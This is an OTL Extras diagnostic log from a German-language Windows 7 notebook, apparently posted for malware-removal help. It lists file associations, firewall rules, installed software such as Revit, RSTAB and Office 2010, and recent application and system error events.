--- --- ---

Extras.txt:
OTL Logfile:

Code:

ATTFilter

OTL Extras logfile created on: 18.05.2013 13:55:06 - Run 1
OTL by OldTimer - Version 3.2.69.0     Folder = C:\Users\***\Desktop
 Home Premium Edition Service Pack 1 (Version = 6.1.7601) - Type = NTWorkstation
Internet Explorer (Version = 9.10.9200.16540)
Locale: 00000c07 | Country: Österreich | Language: DEA | Date Format: dd.MM.yyyy
 
2,68 Gb Total Physical Memory | 1,22 Gb Available Physical Memory | 45,52% Memory free
5,35 Gb Paging File | 3,93 Gb Available in Paging File | 73,31% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]
 
%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files
Drive C: | 100,00 Gb Total Space | 51,20 Gb Free Space | 51,20% Space Free | Partition Type: NTFS
 
Computer Name: ***-NOTEBOOK | User Name: *** | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: Current user
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days
 
========== Extra Registry (SafeList) ==========
 
 
========== File Associations ==========
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<extension>]
.cpl [@ = cplfile] -- C:\Windows\System32\control.exe (Microsoft Corporation)     
.hlp [@ = hlpfile] -- C:\Windows\winhlp32.exe (Microsoft Corporation)
.html [@ = Opera.HTML] -- C:\Program Files\Opera\Opera.exe (Opera Software)
 
========== Shell Spawning ==========
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<key>\shell\[command]\command]
batfile [open] -- "%1" %*
cmdfile [open] -- "%1" %*
comfile [open] -- "%1" %*
cplfile [cplopen] -- %SystemRoot%\System32\control.exe "%1",%* (Microsoft Corporation)
exefile [open] -- "%1" %*
helpfile [open] -- Reg Error: Key error.
hlpfile [open] -- %SystemRoot%\winhlp32.exe %1 (Microsoft Corporation)
htmlfile [edit] -- Reg Error: Key error.
htmlfile [print] -- "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"
http [open] -- "C:\Program Files\Opera\Opera.exe" "%1" (Opera Software)
https [open] -- "C:\Program Files\Opera\Opera.exe" "%1" (Opera Software)
inffile [install] -- %SystemRoot%\System32\InfDefaultInstall.exe "%1" (Microsoft Corporation)
piffile [open] -- "%1" %*
regfile [merge] -- Reg Error: Key error.
scrfile [config] -- "%1"
scrfile [install] -- rundll32.exe desk.cpl,InstallScreenSaver %l
scrfile [open] -- "%1" /S
txtfile [edit] -- Reg Error: Key error.
Unknown [openas] -- %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,OpenAs_RunDLL %1
Directory [cmd] -- cmd.exe /s /k pushd "%V" (Microsoft Corporation)
Directory [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Folder [open] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Folder [explore] -- Reg Error: Value error.
Drive [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
 
========== Security Center Settings ==========
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center]
"cval" = 1
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring]
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc]
"VistaSp1" = Reg Error: Unknown registry data type -- File not found
"AntiVirusOverride" = 0
"AntiSpywareOverride" = 0
"FirewallOverride" = 0
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc\Vol]
 
========== Firewall Settings ==========
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile]
"DisableNotifications" = 0
"EnableFirewall" = 1
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DisableNotifications" = 0
"EnableFirewall" = 1
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile]
"DisableNotifications" = 0
"EnableFirewall" = 1
 
========== Authorized Applications List ==========
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
 
 
========== Vista Active Open Ports Exception List ==========
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
"{0661576B-10A8-46B3-8D2C-54FF43DCE3C7}" = rport=1947 | protocol=17 | dir=in | app=c:\program files\dlubal\rstab 8.01\rstab.exe | 
"{25C02E7C-1B04-45FA-B93F-4BDC958660D8}" = lport=2177 | protocol=17 | dir=in | svc=qwave | app=%systemroot%\system32\svchost.exe | 
"{33E242F6-0135-4440-80F7-01788D38E040}" = lport=808 | protocol=6 | dir=in | svc=nettcpactivator | app=c:\windows\microsoft.net\framework\v4.0.30319\smsvchost.exe | 
"{34D0BEDC-B262-4A7E-BEAA-E59CFA5F2618}" = lport=3702 | protocol=17 | dir=in | svc=fdphost | app=%systemroot%\system32\svchost.exe | 
"{38BACDF1-AE00-4B49-9B7B-DD942D6E6C7B}" = rport=3702 | protocol=17 | dir=out | svc=fdphost | app=%systemroot%\system32\svchost.exe | 
"{3F7E2AA6-AC7B-4E40-B7BA-4D12B38C5C77}" = rport=1900 | protocol=17 | dir=out | svc=ssdpsrv | app=%systemroot%\system32\svchost.exe | 
"{43BCB5D6-2ED1-430E-9CC2-8DC899037EE9}" = lport=1900 | protocol=17 | dir=in | svc=ssdpsrv | app=%systemroot%\system32\svchost.exe | 
"{4899E828-F302-47AB-BF67-9BE3CB9E0746}" = rport=1900 | protocol=17 | dir=out | svc=ssdpsrv | app=%systemroot%\system32\svchost.exe | 
"{633D7583-7744-4A12-9AA6-A1F33E5EC5F7}" = lport=2177 | protocol=6 | dir=in | svc=qwave | app=%systemroot%\system32\svchost.exe | 
"{6F27A51C-B841-4E3E-8F27-ED21322EB936}" = rport=2177 | protocol=17 | dir=out | svc=qwave | app=%systemroot%\system32\svchost.exe | 
"{715EB053-E58E-4A62-A84A-6DB359DF20DE}" = lport=2869 | protocol=6 | dir=in | name=windows live communications platform (upnp) | 
"{8F6E2C1A-F825-4D3F-BA4C-5E082F8D39A4}" = lport=1900 | protocol=17 | dir=in | svc=ssdpsrv | app=%systemroot%\system32\svchost.exe | 
"{A56E0D78-AA50-4C94-BED9-383F6B7E311B}" = lport=3702 | protocol=17 | dir=in | svc=fdrespub | app=%systemroot%\system32\svchost.exe | 
"{AB054B57-F9A8-4776-BA03-8CCE29048F5D}" = lport=5355 | protocol=17 | dir=in | svc=dnscache | app=%systemroot%\system32\svchost.exe | 
"{AB975A9F-9A92-40F9-BB55-A74A5C9F9D86}" = lport=2869 | protocol=6 | dir=in | app=system | 
"{AF6E7E1C-436F-42C7-86FA-3D9CCB059C7A}" = rport=1947 | protocol=6 | dir=in | app=c:\program files\dlubal\rstab 8.01\rstab.exe | 
"{C093DBB6-5C57-461F-909F-829698CE58EE}" = lport=10243 | protocol=6 | dir=in | app=system | 
"{C2BE5F09-3709-4F82-9D1F-E1E65DA465F3}" = rport=5355 | protocol=17 | dir=out | svc=dnscache | app=%systemroot%\system32\svchost.exe | 
"{C4511775-9671-407D-9EA2-4B37FE9C5C3A}" = rport=2177 | protocol=6 | dir=out | svc=qwave | app=%systemroot%\system32\svchost.exe | 
"{CFACC4B1-80DB-4C1E-A3C2-C28118561466}" = lport=1900 | protocol=17 | dir=in | name=windows live communications platform (ssdp) | 
"{DE6924A5-2DDC-4CBE-AEBA-9934CCF30CB3}" = rport=1947 | protocol=6 | dir=out | app=c:\program files\dlubal\rstab 8.01\rstab.exe | 
"{ED571BAC-E4F7-42BE-92DC-88538EA52066}" = rport=1947 | protocol=17 | dir=out | app=c:\program files\dlubal\rstab 8.01\rstab.exe | 
"{EE31FC01-F67A-4E95-9BDD-D127EDCEBA4F}" = rport=3702 | protocol=17 | dir=out | svc=fdrespub | app=%systemroot%\system32\svchost.exe | 
"{F15F67D8-B00F-4CF0-8744-46AF8A8D6FCA}" = rport=10243 | protocol=6 | dir=out | app=system | 
 
========== Vista Active Application Exception List ==========
 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
"{05F25F55-60C3-4FD8-B1B7-F7394D1BBE7F}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmplayer.exe | 
"{06E2D3F2-296A-48B8-BB09-FBFB2526C6A1}" = dir=in | app=c:\program files\common files\apple\apple application support\webkit2webprocess.exe | 
"{0CE4B108-3793-476F-8B89-DF8B4EA83532}" = protocol=6 | dir=out | app=system | 
"{2A805A7D-CB6A-45BD-AEA4-8DBB9D1E322B}" = dir=in | app=c:\program files\windows live\contacts\wlcomm.exe | 
"{2B622086-3043-457C-98A1-885AD8FA5F41}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmpnetwk.exe | 
"{3E0645A9-B0BA-43A0-A4F4-D705309F6D6F}" = protocol=6 | dir=out | svc=upnphost | app=%systemroot%\system32\svchost.exe | 
"{607D3E59-8861-4197-9C3C-DF58F172DC55}" = protocol=6 | dir=in | app=c:\program files\opera\opera.exe | 
"{62F81FD3-36CC-471A-9CB2-F12FE2F4590C}" = protocol=6 | dir=out | svc=upnphost | app=%systemroot%\system32\svchost.exe | 
"{680359BA-BA8D-43B8-BEF5-6E6C4A578DF6}" = protocol=6 | dir=in | app=%programfiles%\windows media player\wmpnetwk.exe | 
"{7011DF90-EAC4-422A-91A6-1C318F299326}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmplayer.exe | 
"{7F885568-2470-46ED-905B-C1CC74424C1C}" = dir=in | app=c:\program files\itunes\itunes.exe | 
"{9B8FF779-7FA3-4DEC-8E66-8343E60DE6A6}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmplayer.exe | 
"{B22A4F2F-602D-4B11-8A8A-3A2AECBB7E1B}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmpnetwk.exe | 
"{B2346774-7790-4AA0-BCE7-11E23056C8A1}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmplayer.exe | 
"{B278A65E-3307-416B-8537-7EEACC3C58E5}" = dir=in | app=c:\windows\system32\hasplms.exe | 
"{B4C6C0E8-2E3F-4623-8774-AAA9AC5567CF}" = protocol=6 | dir=out | app=%programfiles%\windows media player\wmplayer.exe | 
"{D7BFA196-D36B-4067-A519-08BBC550E0E2}" = protocol=17 | dir=out | app=%programfiles%\windows media player\wmplayer.exe | 
"{E734BC5E-A423-4B83-93AE-05456EC3CE15}" = protocol=17 | dir=in | app=%programfiles%\windows media player\wmpnetwk.exe | 
"{ECB81654-734A-4208-981B-A88BAD4C7B68}" = protocol=6 | dir=in | app=c:\program files\opera\opera.exe | 
"{F25720BE-1D67-45C7-993C-BAD72DF25CEE}" = protocol=17 | dir=in | app=c:\program files\opera\opera.exe | 
"{F4D36B68-D4F5-4D30-B600-2CB7BAD85DB3}" = protocol=17 | dir=in | app=c:\program files\opera\opera.exe | 
 
========== HKEY_LOCAL_MACHINE Uninstall List ==========
 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"{04B34E21-5BEE-3D2B-8D3D-E3E80D253F64}" = Microsoft Visual C++ 2008 x86 ATL Runtime 9.0.30729
"{0A0CADCF-78DA-33C4-A350-CD51849B9702}" = Microsoft .NET Framework 4 Extended
"{0B0F231F-CE6A-483D-AA23-77B364F75917}" = Windows Live Installer
"{117EBEEB-5DB0-43C8-9FD6-DD583DB152DD}" = Autodesk Material Library 2013
"{14866AAD-1F23-39AC-A62B-7091ED1ADE64}" = Microsoft Visual C++ 2008 x86 CRT Runtime 9.0.30729
"{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148
"{200FEC62-3C34-4D60-9CE8-EC372E01C08F}" = Windows Live SOXE Definitions
"{268278CF-FB69-4D98-B70E-BFEC1CDCA225}" = iTunes
"{26A24AE4-039D-4CA4-87B4-2F83217021FF}" = Java 7 Update 21
"{27C6C0A2-2EC9-4FEA-BE2B-659EAAC2C68C}" = Autodesk Material Library Low Resolution Image Library 2013
"{299C0434-4F4E-341F-A916-4E07AEB35E79}" = Microsoft Visual Studio Tools for Applications 2.0 Runtime
"{3336F667-9049-4D46-98B6-4C743EEBC5B1}" = Windows Live Photo Gallery
"{37B33B16-2535-49E7-8990-32668708A0A3}" = Windows Live UX Platform Language Pack
"{3C3901C5-3455-3E0A-A214-0B093A5070A6}" = Microsoft .NET Framework 4 Client Profile
"{45C56AA7-ED1B-4800-A97F-EDDF3F3520B1}" = Apple Application Support
"{4A03706F-666A-4037-7777-5F2748764D10}" = Java Auto Updater
"{4B90093A-5D9C-3956-8ABB-95848BE6EFAD}" = Microsoft Visual C++ 2008 x86 OpenMP Runtime 9.0.30729
"{5783F2D7-A028-0409-0000-0060B0CE6BBA}" = DWG TrueView 2012
"{58760EEC-8B6A-43F4-81AA-696E381DFADD}" = Autodesk Material Library Medium Resolution Image Library 2013
"{606E12B9-641F-4644-A22A-FF38AE980AFD}" = Autodesk Material Library Base Resolution Image Library 2013
"{682B3E4F-696A-42DE-A41C-4C07EA1678B4}" = Windows Live SOXE
"{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}" = Microsoft Visual C++ 2005 Redistributable
"{7299052b-02a4-4627-81f2-1818da5d550d}" = Microsoft Visual C++ 2005 Redistributable
"{7346B4A0-1300-0100-0407-705C0D862004}" = Revit Architecture 2013
"{7346B4A0-1300-0101-0407-705C0D862004}" = Revit Architecture 2013 Language Pack - Deutsch
"{76DAEC83-AF7B-333C-8A53-83D7C7D39199}" = Microsoft Visual Studio Tools for Applications 2.0 Runtime Language Pack - DEU
"{7872DDBE-0C7C-4613-90EE-47707CD0A5B8}" = Dlubal RSTAB 8.01 32-bit
"{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}" = Apple Software Update
"{837b34e3-7c30-493c-8f6a-2b0f04e2912c}" = Microsoft Visual C++ 2005 Redistributable
"{83C292B7-38A5-440B-A731-07070E81A64F}" = Windows Live PIMT Platform
"{850909E5-AA4B-46DA-BA2C-6471180E1438}" = ConDim 7.1.3 Demoversion
"{86CE85E6-DBAC-3FFD-B977-E4B79F83C909}" = Microsoft Visual C++ 2008 Redistributable - KB2467174 - x86 9.0.30729.5570
"{8DD46C6A-0056-4FEC-B70A-28BB16A1F11F}" = MSVCRT
"{8E87B944-4815-3C5E-947F-5035C9F64362}" = Microsoft Visual Studio Tools for Applications 2.0 Language Pack - DEU
"{90140000-0015-0407-0000-0000000FF1CE}" = Microsoft Office Access MUI (German) 2010
"{90140000-0015-0407-0000-0000000FF1CE}_Office14.SingleImage_{69E54534-4569-4639-89E9-305B60A11601}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{90140000-0016-0407-0000-0000000FF1CE}" = Microsoft Office Excel MUI (German) 2010
"{90140000-0016-0407-0000-0000000FF1CE}_Office14.SingleImage_{69E54534-4569-4639-89E9-305B60A11601}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{90140000-0018-0407-0000-0000000FF1CE}" = Microsoft Office PowerPoint MUI (German) 2010
"{90140000-0018-0407-0000-0000000FF1CE}_Office14.SingleImage_{69E54534-4569-4639-89E9-305B60A11601}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{90140000-0019-0407-0000-0000000FF1CE}" = Microsoft Office Publisher MUI (German) 2010
"{90140000-0019-0407-0000-0000000FF1CE}_Office14.SingleImage_{69E54534-4569-4639-89E9-305B60A11601}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{90140000-001A-0407-0000-0000000FF1CE}" = Microsoft Office Outlook MUI (German) 2010
"{90140000-001A-0407-0000-0000000FF1CE}_Office14.SingleImage_{69E54534-4569-4639-89E9-305B60A11601}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{90140000-001B-0407-0000-0000000FF1CE}" = Microsoft Office Word MUI (German) 2010
"{90140000-001B-0407-0000-0000000FF1CE}_Office14.SingleImage_{69E54534-4569-4639-89E9-305B60A11601}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{90140000-001F-0407-0000-0000000FF1CE}" = Microsoft Office Proof (German) 2010
"{90140000-001F-0407-0000-0000000FF1CE}_Office14.SingleImage_{65A2328E-FDFB-4CA3-8582-357EA6825FEA}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{90140000-001F-0409-0000-0000000FF1CE}" = Microsoft Office Proof (English) 2010
"{90140000-001F-0409-0000-0000000FF1CE}_Office14.SingleImage_{99ACCA38-6DD3-48A8-96AE-A283C9759279}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{90140000-001F-040C-0000-0000000FF1CE}" = Microsoft Office Proof (French) 2010
"{90140000-001F-040C-0000-0000000FF1CE}_Office14.SingleImage_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{90140000-001F-0410-0000-0000000FF1CE}" = Microsoft Office Proof (Italian) 2010
"{90140000-001F-0410-0000-0000000FF1CE}_Office14.SingleImage_{C0743197-FFEE-4C19-BAEB-8F7437DC4C8A}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{90140000-002C-0407-0000-0000000FF1CE}" = Microsoft Office Proofing (German) 2010
"{90140000-002C-0407-0000-0000000FF1CE}_Office14.SingleImage_{4275FB46-ABDF-4456-876C-17CF64294D9A}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{90140000-003D-0000-0000-0000000FF1CE}" = Microsoft Office Single Image 2010
"{90140000-003D-0000-0000-0000000FF1CE}_Office14.SingleImage_{047B0968-E622-4FAA-9B4B-121FA109EDDE}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{90140000-006E-0407-0000-0000000FF1CE}" = Microsoft Office Shared MUI (German) 2010
"{90140000-006E-0407-0000-0000000FF1CE}_Office14.SingleImage_{98EDFD9F-EA76-40CC-BCE9-92C69413F65B}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{90140000-00A1-0407-0000-0000000FF1CE}" = Microsoft Office OneNote MUI (German) 2010
"{90140000-00A1-0407-0000-0000000FF1CE}_Office14.SingleImage_{69E54534-4569-4639-89E9-305B60A11601}" = Microsoft Office 2010 Service Pack 1 (SP1)
"{92EA4134-10D1-418A-91E1-5A0453131A38}" = Windows Live Movie Maker
"{95120000-00B9-0409-0000-0000000FF1CE}" = Microsoft Application Error Reporting
"{9BE518E6-ECC6-35A9-88E4-87755C07200F}" = Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161
"{A9BDCA6B-3653-467B-AC83-94367DA3BFE3}" = Windows Live Photo Common
"{AA4A4B2C-0465-3CF8-BA76-27A027D8ACAB}" = Microsoft Visual Studio Tools for Applications 2.0 - ENU
"{AC76BA86-7AD7-1031-7B44-AB0000000001}" = Adobe Reader XI (11.0.02) - Deutsch
"{B113D18C-67B0-4FB7-B329-E89B66194AE6}" = Windows Live Fotogalerie
"{B42E259C-E4D4-37F1-A1B2-EB9C4FC5A04D}" = Microsoft Visual C++ 2008 x86 MFC Runtime 9.0.30729
"{C2AB7DC4-489E-4BE9-887A-52262FBADBE0}" = Windows Live Photo Common
"{C4972073-2BFE-475D-8441-564EA97DA161}" = QuickSet32
"{C6150D8A-86ED-41D3-87BB-F3BB51B0B77F}" = Windows Live ID Sign-in Assistant
"{CE95A79E-E4FC-4FFF-8A75-29F04B942FF2}" = Windows Live UX Platform
"{D0795B21-0CDA-4a92-AB9E-6E92D8111E44}" = SAMSUNG USB Driver for Mobile Phones
"{D45240D3-B6B3-4FF9-B243-54ECE3E10066}" = Windows Live Communications Platform
"{E09C4DB7-630C-4F06-A631-8EA7239923AF}" = D3DX10
"{E4E88B54-4777-4659-967A-2EED1E6AFD83}" = Windows Live Movie Maker
"{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}" = Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219
"{F750C986-5310-3A5A-95F8-4EC71C8AC01C}" = Microsoft .NET Framework 4 Client Profile DEU Language Pack
"{F95E4EE0-0C6E-4273-B6B9-91FD6F071D76}" = Windows Live Essentials
"{FA0BBB87-91A1-4BFD-9005-EB058BBA0E14}_is1" = StreamTransport version: 1.0.2.2171
"Adobe Flash Player ActiveX" = Adobe Flash Player 11 ActiveX
"Adobe Flash Player Plugin" = Adobe Flash Player 11 Plugin
"Autodesk Revit Architecture 2013" = Autodesk Revit Architecture 2013
"Autodesk Revit Architecture 2013 UR1" = Autodesk Revit Architecture 2013 UR1
"Autodesk Revit Architecture 2013 UR2" = Autodesk Revit Architecture 2013 UR2
"Avira AntiVir Desktop" = Avira Free Antivirus
"CCleaner" = CCleaner
"Dlubal RSTAB 8.01 32-bit" = Dlubal RSTAB 8.01 32-bit
"DWG TrueView 2012" = DWG TrueView 2012
"FileHippo.com" = FileHippo.com Update Checker
"FLV Player" = FLV Player 2.0 (build 25)
"Free YouTube to MP3 Converter_is1" = Free YouTube to MP3 Converter version 3.12.1.320
"Malwarebytes' Anti-Malware_is1" = Malwarebytes Anti-Malware Version 1.75.0.1300
"Microsoft .NET Framework 4 Client Profile" = Microsoft .NET Framework 4 Client Profile
"Microsoft .NET Framework 4 Client Profile DEU Language Pack" = Microsoft .NET Framework 4 Client Profile DEU Language Pack
"Microsoft .NET Framework 4 Extended" = Microsoft .NET Framework 4 Extended
"Mozilla Firefox 20.0.1 (x86 en-US)" = Mozilla Firefox 20.0.1 (x86 en-US)
"MozillaMaintenanceService" = Mozilla Maintenance Service
"mp3Tag Pro_is1" = mp3Tag Pro 7.3
"NVIDIA Drivers" = NVIDIA Drivers
"Office14.SingleImage" = Microsoft Office Home and Student 2010
"Opera 12.15.1748" = Opera 12.15
"PDF Editor 3" = PDF Editor 3
"Pdf995" = Pdf995
"SynTPDeinstKey" = Synaptics Pointing Device Driver
"WinLiveSuite" = Windows Live Essentials
"WinRAR archiver" = WinRAR 4.20 (32-bit)
 
========== HKEY_CURRENT_USER Uninstall List ==========
 
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall]
"FileZilla Client" = FileZilla Client 3.7.0.1
"pdfsam" = pdfsam
 
========== Last 20 Event Log Errors ==========
 
[ Application Events ]
Error - 09.05.2013 10:28:10 | Computer Name = ***-Notebook | Source = SideBySide | ID = 16842785
Description = Fehler beim Generieren des Aktivierungskontextes für "c:\program files\pdf995\res\drivedir\copy64.exe".
Die
 abhängige Assemblierung "Microsoft.Windows.Common-Controls,language="*",processorArchitecture="amd64",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.0.0""
 konnte nicht gefunden werden.  Verwenden Sie für eine detaillierte Diagnose das Programm
 "sxstrace.exe".
 
Error - 12.05.2013 15:25:53 | Computer Name = ***-Notebook | Source = SideBySide | ID = 16842785
Description = Fehler beim Generieren des Aktivierungskontextes für "c:\program files\Autodesk\revit
 architecture 2013\Program\FaroImporter.exe".  Die abhängige Assemblierung "FARO.LS,processorArchitecture="x86",publicKeyToken="1d23f5635ba800ab",type="win32",version="1.1.408.2""
 konnte nicht gefunden werden.  Verwenden Sie für eine detaillierte Diagnose das Programm
 "sxstrace.exe".
 
Error - 12.05.2013 15:27:03 | Computer Name = ***-Notebook | Source = SideBySide | ID = 16842785
Description = Fehler beim Generieren des Aktivierungskontextes für "c:\program files\pdf995\res\drivedir\copy64.exe".
Die
 abhängige Assemblierung "Microsoft.Windows.Common-Controls,language="*",processorArchitecture="amd64",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.0.0""
 konnte nicht gefunden werden.  Verwenden Sie für eine detaillierte Diagnose das Programm
 "sxstrace.exe".
 
Error - 13.05.2013 08:48:15 | Computer Name = ***-Notebook | Source = SideBySide | ID = 16842785
Description = Fehler beim Generieren des Aktivierungskontextes für "c:\program files\Autodesk\revit
 architecture 2013\Program\FaroImporter.exe".  Die abhängige Assemblierung "FARO.LS,processorArchitecture="x86",publicKeyToken="1d23f5635ba800ab",type="win32",version="1.1.408.2""
 konnte nicht gefunden werden.  Verwenden Sie für eine detaillierte Diagnose das Programm
 "sxstrace.exe".
 
Error - 13.05.2013 08:49:27 | Computer Name = ***-Notebook | Source = SideBySide | ID = 16842785
Description = Fehler beim Generieren des Aktivierungskontextes für "c:\program files\pdf995\res\drivedir\copy64.exe".
Die
 abhängige Assemblierung "Microsoft.Windows.Common-Controls,language="*",processorArchitecture="amd64",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.0.0""
 konnte nicht gefunden werden.  Verwenden Sie für eine detaillierte Diagnose das Programm
 "sxstrace.exe".
 
Error - 16.05.2013 15:16:22 | Computer Name = ***-Notebook | Source = Application Error | ID = 1000
Description = Name der fehlerhaften Anwendung: RSTAB.exe, Version: 8.1.19.19607,
 Zeitstempel: 0x514353e8  Name des fehlerhaften Moduls: KERNELBASE.dll, Version: 6.1.7601.18015,
 Zeitstempel: 0x50b83b16  Ausnahmecode: 0xc0000025  Fehleroffset: 0x0000812f  ID des fehlerhaften
 Prozesses: 0xbd4  Startzeit der fehlerhaften Anwendung: 0x01ce5269cedae5f7  Pfad der
 fehlerhaften Anwendung: C:\Program Files\Dlubal\RSTAB 8.01\RSTAB.exe  Pfad des fehlerhaften
 Moduls: C:\Windows\system32\KERNELBASE.dll  Berichtskennung: 1797c42b-be5d-11e2-bf90-f04da285277d
 
Error - 16.05.2013 15:16:41 | Computer Name = ***-Notebook | Source = Application Error | ID = 1000
Description = Name der fehlerhaften Anwendung: RSTAB.exe, Version: 8.1.19.19607,
 Zeitstempel: 0x514353e8  Name des fehlerhaften Moduls: KERNELBASE.dll, Version: 6.1.7601.18015,
 Zeitstempel: 0x50b83b16  Ausnahmecode: 0xc0000025  Fehleroffset: 0x0000812f  ID des fehlerhaften
 Prozesses: 0x1330  Startzeit der fehlerhaften Anwendung: 0x01ce5269de87f74a  Pfad der
 fehlerhaften Anwendung: C:\Program Files\Dlubal\RSTAB 8.01\RSTAB.exe  Pfad des fehlerhaften
 Moduls: C:\Windows\system32\KERNELBASE.dll  Berichtskennung: 231dad1c-be5d-11e2-bf90-f04da285277d
 
Error - 16.05.2013 15:21:39 | Computer Name = ***-Notebook | Source = Application Error | ID = 1000
Description = Name der fehlerhaften Anwendung: AcroRd32.exe, Version: 11.0.2.0, 
Zeitstempel: 0x511eacd6  Name des fehlerhaften Moduls: AcroRd32.dll, Version: 11.0.1.36,
 Zeitstempel: 0x50d0b924  Ausnahmecode: 0xc0000005  Fehleroffset: 0x004e2cef  ID des fehlerhaften
 Prozesses: 0x1208  Startzeit der fehlerhaften Anwendung: 0x01ce526a8beb9f66  Pfad der
 fehlerhaften Anwendung: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe  Pfad
 des fehlerhaften Moduls: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll
Berichtskennung:
 d4b38d93-be5d-11e2-bf90-f04da285277d
 
Error - 17.05.2013 13:49:10 | Computer Name = ***-Notebook | Source = SideBySide | ID = 16842785
Description = Fehler beim Generieren des Aktivierungskontextes für "c:\program files\Autodesk\revit
 architecture 2013\Program\FaroImporter.exe".  Die abhängige Assemblierung "FARO.LS,processorArchitecture="x86",publicKeyToken="1d23f5635ba800ab",type="win32",version="1.1.408.2""
 konnte nicht gefunden werden.  Verwenden Sie für eine detaillierte Diagnose das Programm
 "sxstrace.exe".
 
Error - 17.05.2013 13:50:20 | Computer Name = ***-Notebook | Source = SideBySide | ID = 16842785
Description = Fehler beim Generieren des Aktivierungskontextes für "c:\program files\pdf995\res\drivedir\copy64.exe".
Die
 abhängige Assemblierung "Microsoft.Windows.Common-Controls,language="*",processorArchitecture="amd64",publicKeyToken="6595b64144ccf1df",type="win32",version="6.0.0.0""
 konnte nicht gefunden werden.  Verwenden Sie für eine detaillierte Diagnose das Programm
 "sxstrace.exe".
 
[ Autodesk REX Events ]
Error - 15.03.2012 19:00:23 | Computer Name = ***-Notebook | Source = AREX | ID = 0
Description = AREX.Revit - REX startup failed: Der Prozess kann nicht auf die Datei
 "C:\Users\***\AppData\Roaming\Autodesk\REX\2012\Revit\Architecture\tree_Revit.xml"
 zugreifen, da sie von einem anderen Prozess verwendet wird.: Der Prozess kann nicht
 auf die Datei "C:\Users\***\AppData\Roaming\Autodesk\REX\2012\Revit\Architecture\tree_Revit.xml"
 zugreifen, da sie von einem anderen Prozess verwendet wird.; StackTrace:    bei
 System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)     bei System.IO.FileStream.Init(String
 path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare
 share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String
 msgPath, Boolean bFromProxy, Boolean useLongPath)     bei System.IO.FileStream..ctor(String
 path, FileMode mode, FileAccess access, FileShare share)     bei System.Xml.XmlDocument.Save(String
 filename)     bei QS2m594yqgFwFs4Prm.TDiiO3BYlSLBHcdksl.bbsq2e184(String )     bei 
REX.Manager.Manager.FindNewModules(REXContext context, Settings settings)     bei 
REX.Common.Start.REXStartProxy.j26xMSA2g(Dictionary`2& , List`1& )     bei REX.Common.Start.REXStartProxy.OnStartup()
 
[ System Events ]
Error - 12.05.2013 16:25:29 | Computer Name = ***-Notebook | Source = volsnap | ID = 393252
Description = Die Schattenkopien von Volume "C:" wurden abgebrochen, weil der Schattenkopiespeicher
 nicht auf ein benutzerdefiniertes Limit vergrößert werden konnte.
 
